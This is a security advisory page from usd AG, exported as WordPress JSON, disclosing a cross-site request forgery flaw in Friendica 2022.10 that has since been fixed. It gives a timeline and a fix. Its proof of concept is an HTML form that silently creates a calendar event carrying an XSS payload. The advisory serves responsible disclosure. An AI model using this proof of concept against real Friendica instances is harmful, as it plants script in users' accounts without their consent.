{"id":19739,"date":"2023-03-23T12:20:00","date_gmt":"2023-03-23T11:20:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19739"},"modified":"2023-03-24T13:37:49","modified_gmt":"2023-03-24T12:37:49","slug":"usd-2022-0049","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0049\/","title":{"rendered":"usd-2022-0049"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.20.2\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0049 | Friendica 2022.10 - Cross-Site Request Forgery (CSRF)<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0049<br \/>\n<strong>Product<\/strong>: F<span>riendica<\/span><br \/>\n<strong>Affected Version<\/strong>: <span>2022.10<\/span><br \/>\n<strong>Vulnerability Type<\/strong>: <span>Cross-Site Request Forgery (CSRF) (CWE-352)<\/span><br \/>\n<strong>Security Risk<\/strong>: <span>High<\/span><br \/>\n<strong>Vendor URL<\/strong>: <a href=\"https:\/\/friendi.ca\/\" target=\"_blank\" rel=\"noopener\">https:\/\/friendi.ca\/<\/a><br \/>\n<strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/>\n<strong>Vendor Status:\u00a0<\/strong>Fixed<\/p>\n<h3>Description<\/h3>\n<p>The open source application Friendica is used to set up a decentralized social network. The focus lies on effective privacy settings and interoperability with third-party services.<br \/>\n<span>A CSRF vulnerability was identified during the creation of new events in friendica. This CSRF vulnerability can be used to trigger a self-xss vulnerability in the event name.<\/span><\/p>\n<h3>Proof of Concept<\/h3>\n<p><span>A malicous website can be created using the following snippet. Visiting the website will create a new event in their calendar containing JavaScript payload:<\/span><\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">&lt;html&gt;\n  &lt;body&gt;\n  &lt;script&gt;history.pushState('', '', '\/')&lt;\/script&gt;\n    &lt;form action=\"[http:\/\/localhost\/events\"]() method=\"POST\"&gt;\n      &lt;input type=\"hidden\" name=\"event_id\" value=\"0\" \/&gt;\n      &lt;input type=\"hidden\" name=\"cid\" value=\"0\" \/&gt;\n      &lt;input type=\"hidden\" name=\"uri\" value=\"http:\/\/localhost\/objects\/61ef0ae2-2163-6a90-40be-1a7639377312\" \/&gt;\n      &lt;input type=\"hidden\" name=\"preview\" value=\"0\" \/&gt;\n      &lt;input type=\"hidden\" name=\"summary\" value=\"&amp;lt;img src=\/X onerror=alert(document.domain)&amp;gt;\" \/&gt;\n      &lt;input type=\"hidden\" name=\"start_text\" value=\"2022-11-08 18:46\" \/&gt;\n      &lt;input type=\"hidden\" name=\"finish_text\" value=\"2022-11-08 18:46\" \/&gt;\n      &lt;input type=\"hidden\" name=\"nofinish\" value=\"0\" \/&gt;\n      &lt;input type=\"hidden\" name=\"share\" value=\"0\" \/&gt;\n      &lt;input type=\"hidden\" name=\"submit\" value=\"Submit\" \/&gt;\n      &lt;input type=\"hidden\" name=\"desc\" value=\"\" \/&gt;\n      &lt;input type=\"hidden\" name=\"location\" value=\"\" \/&gt;\n      &lt;input type=\"hidden\" name=\"visibility\" value=\"public\" \/&gt;\n      &lt;input type=\"submit\" value=\"Submit request\" \/&gt;\n    &lt;\/form&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n<\/div>\n<h3><\/h3>\n<p><span>If the victim visits their calendar, the secretly injected event will be executed in the context of the application:<\/span><span><\/span><\/p>\n<h3><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof.png\" width=\"900\" height=\"380\" alt=\"\" class=\"wp-image-19783 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof.png 900w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof-480x203.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 900px, 100vw\" \/><\/h3>\n<h3>Fix<\/h3>\n<p>Add CSRF tokens to all state changing requests (requests that cause actions on the site) and validate them on the backend.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/csrf\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/csrf<\/a><\/li>\n<li><a href=\"https:\/\/friendi.ca\/2022\/12\/20\/friendica-2022-12-released\/\" target=\"_blank\" rel=\"noopener\">https:\/\/friendi.ca\/2022\/12\/20\/friendica-2022-12-released\/<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-11-11:<\/strong> First contact request via <a href=\"mailto:info@friendi.ca\">info@friendi.ca<\/a><\/li>\n<li><strong>2022-12-09:<\/strong> Submitted vulnerability to the vendor<\/li>\n<li><strong>2022-12-20:<\/strong> Friendica 2022.12 released which fixes the submitted vulnerability<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0049 | Friendica 2022.10 - Cross-Site Request Forgery (CSRF) Advisory ID: usd-2022-0049 Product: Friendica Affected Version: 2022.10 Vulnerability Type: Cross-Site Request Forgery (CSRF) (CWE-352) Security Risk: High Vendor URL: https:\/\/friendi.ca\/ Vendor acknowledged vulnerability: Yes Vendor Status:\u00a0Fixed Description The open source application Friendica is used to set up a decentralized social network. The focus lies on [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19739","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19739","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19739"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19739\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19739"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}